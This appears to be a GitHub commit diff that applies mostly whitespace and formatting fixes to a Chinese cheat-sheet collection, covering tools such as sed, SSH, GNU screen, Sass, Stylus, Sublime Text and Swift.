`UWFHD` | ≈21:9 | 2560 x 1080 <sub>px</sub> | 2.765 | 1.13 | N/A
`QHD` | 16:9 | 2560 x 1440 <sub>px</sub> | 3.686 | 6.23 | 2.15
`WQXGA` | 16:10 | 2560 x 1600 <sub>px</sub> | 4.096 | &lt;0.58 | &lt;2.4
`UWQHD` | ≈21:9 | 3440 x 1440 <sub>px</sub> | 4.954 | 0.87 | N/A
`4K UHD`| 16:9 | 3840 x 2160 <sub>px</sub> | 8.294 | 2.12 | N/A
`UWFHD` | ≈21:9 | 2560 x 1080 <sub>px</sub> | 2.765 | 1.13 | N/A
`QHD` | 16:9 | 2560 x 1440 <sub>px</sub> | 3.686 | 6.23 | 2.15
`WQXGA` | 16:10 | 2560 x 1600 <sub>px</sub> | 4.096 | &lt;0.58 | &lt;2.4
`UWQHD` | ≈21:9 | 3440 x 1440 <sub>px</sub> | 4.954 | 0.87 | N/A
`4K UHD`| 16:9 | 3840 x 2160 <sub>px</sub> | 8.294 | 2.12 | N/A
`Other` | - | - | - | 2.00 | 15.09
<!--rehype:className=show-header-->
### 屏幕分辨率
解析度 | 像素
:- |:-
:- |:-
`540p / qHD` | 960×540<sub>px</sub>
`720p / HD` | 1280×720<sub>px</sub>
`1080p / Full HD / FHD` | 19201080<sub>px</sub>
@ -275,4 +273,4 @@ N/A | 16:9 | 1536 x 864 <sub>px</sub> | 1.327 | N/A | 8.5
---
- [通用解析度列表](https://en.wikipedia.org/wiki/List_of_common_resolutions) _(en.wikipedia.org)_
- [显示屏分辨率](https://en.wikipedia.org/wiki/Display_resolution) _(en.wikipedia.org)_
- [显示屏分辨率](https://en.wikipedia.org/wiki/Display_resolution) _(en.wikipedia.org)_

2452
docs/ruby.md Normal file

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -156,7 +156,6 @@ h1 {
Sass 混合(Mixins)
------
### 参数
```scss
@ -264,7 +263,7 @@ green($color)
blue($color)
```
---
----
:- | :-
:- | :-
@ -617,4 +616,4 @@ map-get($map, key1)
----
- [Sass 官方文档](https://sass-lang.com/documentation) _(sass-lang.com)_
- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_
- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_

View File

@ -30,7 +30,6 @@ $ screen -ls
$ screen -r <name/pid>
```
### 选项
<!--rehype:wrap-class=col-span-2-->
@ -45,7 +44,6 @@ $ screen -r <name/pid>
`-X` | screen -X -S debug kill | 终止正在运行的会话
<!--rehype:className=show-header-->
### 进入
Command | Description
@ -108,7 +106,6 @@ Command | Description
`Ctrl-A` `H` | 在屏幕会话中启用日志记录
<!--rehype:className=shortcuts-->
### 分屏
Command | Description
@ -121,7 +118,6 @@ Command | Description
`Ctrl-A` `Q` | 删除除当前区域之外的所有区域
<!--rehype:className=shortcuts-->
### 滚动
Command | Description
@ -138,4 +134,4 @@ Command | Description
```shell
$ ssh -t user@host screen -x <name/pid>
```
```

View File

@ -71,8 +71,8 @@ Sed 命令
### 命令
<!--rehype:wrap-class=col-span-2-->
命令 | 示例 | 描述
:- | :- |:-
命令 | 示例 | 描述
:- | :- |:-
`p` | sed -n '1,4 p' input.txt | 打印第 1-4 行
`p` | sed -n -e '1,4 p' -e '6,7 p' input.txt | 打印第 1-4 行和第 6-7 行
`d` | sed '1,4 d' input.txt | 打印除 1-4 之外的行
@ -83,8 +83,8 @@ Sed 命令
### 空间命令
命令 | 描述
:- | :-
命令 | 描述
:- | :-
`n` | 打印模式空间,空模式空间,读取下一行
`x` | 用保持空间交换模式空间
`h` | 复制模式空间以保持空间
@ -99,7 +99,7 @@ $ sed 's/old/new/[flags]' [input-file]
```
---
| Flag | Description |
|----------|--------------------------------------------|
| `g` | 全球替代 |
@ -109,7 +109,6 @@ $ sed 's/old/new/[flags]' [input-file]
| `I` | 搜索时忽略大小写 |
| `e` | 在命令行中替换并执行 |
### 循环命令
| Command | Description |

View File

@ -75,9 +75,9 @@ Semver 备忘清单
| `1.2 - 2.3.0` | 是 `1.2.0 - 2.3.0` |
<!--rehype:className=shortcuts-->
当右侧为部分(例如,`2.3`)时,假定缺失的部分为`x`(例如,` 2.3.x`)。
当右侧为部分(例如,`2.3`)时,假定缺失的部分为`x`(例如,`2.3.x`)。
如果左边是部分的(例如,`1.2`),则假定缺少的部分为`0`(例如,` 1.2.0`)。
如果左边是部分的(例如,`1.2`),则假定缺少的部分为`0`(例如,`1.2.0`)。
### 有效的语义版本
<!--rehype:wrap-class=row-span-4-->
@ -142,9 +142,8 @@ Semver 备忘清单
1.1.2-prerelease+meta
```
另见
----
- [语义化版本号验证正则表达式,支持按编号提取的语言](https://regex101.com/r/vkijKf/1/)
- [语义化版本号验证正则表达式,支持按组名称提取的语言](https://regex101.com/r/Ly7O1x/3/)
- [语义化版本号验证正则表达式,支持按组名称提取的语言](https://regex101.com/r/Ly7O1x/3/)

View File

@ -22,7 +22,6 @@ Sketch 备忘清单
| `t` | (Text) 文本 |
<!--rehype:className=shortcuts-->
### 类型
<!--rehype:wrap-class=row-span-2-->
@ -131,8 +130,7 @@ Sketch 备忘清单
| `Fn + ↓` | 选择下面的页面 |
<!--rehype:className=shortcuts-->
另见
----
- [Sketch 官网](https://www.sketch.com/) _(sketch.com)_
- [Sketch 官网](https://www.sketch.com/) _(sketch.com)_

View File

@ -99,7 +99,6 @@ $ scp user@server:/dir/* .
`~/.ssh/known_hosts` | 登录主机
`~/.ssh/authorized_keys` | 授权登录密钥
### SCP 选项
选项 | 说明
@ -111,7 +110,6 @@ scp `-P` 8080 | 使用特定端口
scp `-B` | 批处理模式_防止密码_
scp `-p` | 保留时间和模式
### 配置示例
```toml
@ -148,7 +146,6 @@ $ ssh -J user@proxy_host1:port1,user@proxy_host2:port2 user@remote_host3
```
<!--rehype:className=wrap-text -->
### ssh-copy-id
```shell
@ -229,7 +226,6 @@ $ ssh-keygen -p -f ~/.ssh/id_rsa
- dsa
- ecdsa
### known_hosts
<!--rehype:wrap-class=col-span-2-->
@ -247,11 +243,11 @@ $ ssh-keygen -R <ip/hostname>
### 密钥格式
- PEM
- PEM
- PKCS8
另见
--------
- [OpenSSH 配置文件示例](https://www.cyberciti.biz/faq/create-ssh-config-file-on-linux-unix/) _(cyberciti.biz)_
- [ssh_config](https://linux.die.net/man/5/ssh_config) _(linux.die.net)_
- [ssh_config](https://linux.die.net/man/5/ssh_config) _(linux.die.net)_

View File

@ -1,9 +1,8 @@
styled-components 备忘清单
Styled Components 备忘清单
====
此快速参考备忘单提供了使用 CSS in JS 工具的各种方法。
入门
----
@ -29,6 +28,7 @@ import styled from 'styled-components';
```
创建一个 Title 组件
```jsx
// 该组件将呈现具有样式的 <h1> 标签
const Title = styled.h1`
@ -236,7 +236,6 @@ const Demo = () => (
);
```
### 样式对象
```jsx {2,5}
@ -1107,4 +1106,4 @@ const Example = () => (
Drag Me!
</Comp>
);
```
```

View File

@ -84,6 +84,7 @@ h5 {
}
```
<!-- markdownlint-disable MD051 -->
另见:下面[Mixins](#混合-Mixins)
### 变量 Variables
@ -388,6 +389,7 @@ for i in 1..3
.text-{i}
font-size: lookup('font-size-' + i)
```
### 定义检查
```stylus {1}

View File

@ -58,7 +58,7 @@ Sublime Text 备忘清单
`⌃` | Control
`⌥` | Option(alt)
`⇧` | Shift
`⇪` | Caps Lock(大写)
`⇪` | Caps Lock(大写)
`fn` | 功能键就是fn
`↩︎` | return/Enter
<!--rehype:className=shortcuts-->
@ -79,9 +79,9 @@ Sublime Text 备忘清单
快捷键 | 说明
:- | -
`⌘ P` | 去任何地方
`⌘ G` | 转到行号
`⌘ R` | 转到符号
`⌘ P` | 去任何地方
`⌘ G` | 转到行号
`⌘ R` | 转到符号
`⌘ P, :` | 转到行号(`:`之后输入数字)
`⌘ P, #` | 转到并列出字符串模糊匹配(`#`之后输入字符)
`⌘ P, @` | 转到并列出符号(`@`之后开始输入符号名称)
@ -147,4 +147,4 @@ $ subl README.md
----
- [Sublime Text 官网](https://www.sublimetext.com/) _(sublimetext.com)_
- [Sublime 编辑器快捷键](https://jaywcjlove.github.io/handbook/Shortcuts/sublime.html) _(jaywcjlove.github.io)_
- [Sublime 编辑器快捷键](https://jaywcjlove.github.io/handbook/Shortcuts/sublime.html) _(jaywcjlove.github.io)_

View File

@ -34,11 +34,11 @@ var price: Double = 8.99
### 算术运算符
<!--rehype:wrap-class=row-span-3-->
- `+` 添加
- `-` 减法
- `*` 乘法
- `/` 分配
- `%` 余数
- `+` 添加
- `-` 减法
- `*` 乘法
- `/` 分配
- `%` 余数
<!--rehype:className=cols-5 style-none-->
----
@ -190,7 +190,7 @@ let isMorning: Bool = true
常量是不可变的。它们的值不能改变:
```swift
numberOfToys: Int = 8
let numberOfToys: Int = 8
numberOfToys += 1
// ❌ 错误numberOfToys 不可变
```
@ -444,7 +444,7 @@ switch num {
// 打印: 7 奇数
```
### 逻辑运算符
### 逻辑运算符
```swift
!true // false
@ -480,6 +480,7 @@ false || false // false
```swift
false || true && false // false
```
`true && false` 首先计算返回 `false` 然后,表达式,`false` || `false` 评估并返回最终结果 `false`
### 控制执行顺序
@ -1431,9 +1432,9 @@ enum Dessert {
let customerOrder: Dessert = .cake(flavor: "红色天鹅绒")
switch customerOrder {
case let .cake(flavor):
print("你点了一个 \(flavor) 蛋糕")
print("你点了一个 \(flavor) 蛋糕")
case .brownie:
print("你点了一块巧克力蛋糕")
print("你点了一块巧克力蛋糕")
}
// 打印: "你点了一个红色天鹅绒蛋糕"
```
@ -1521,7 +1522,7 @@ enum ShirtSize: String {
case medium = "M"
case large = "L"
case extraLarge = "XL"
var description: String {
var description: String {
return "这件衬衫尺码是 \(self.rawValue)"
}
}
@ -1534,4 +1535,4 @@ enum ShirtSize: String {
- [快速编程语言(官方)](https://docs.swift.org/swift-book/) _(swift.or)_
- [Learn Swift](https://www.codecademy.com/resources/cheatsheets/language/swift) _(codecademy.com)_
- [Swift 开发人员的一站式快速参考](https://swiftly.dev/) _(swiftly.dev)_
- [Swift 入门教程、读书笔记](https://jaywcjlove.github.io/swift-tutorial) _(jaywcjlove.github.io)_
- [Swift 入门教程、读书笔记](https://jaywcjlove.github.io/swift-tutorial) _(jaywcjlove.github.io)_

Some files were not shown because too many files have changed in this diff Show More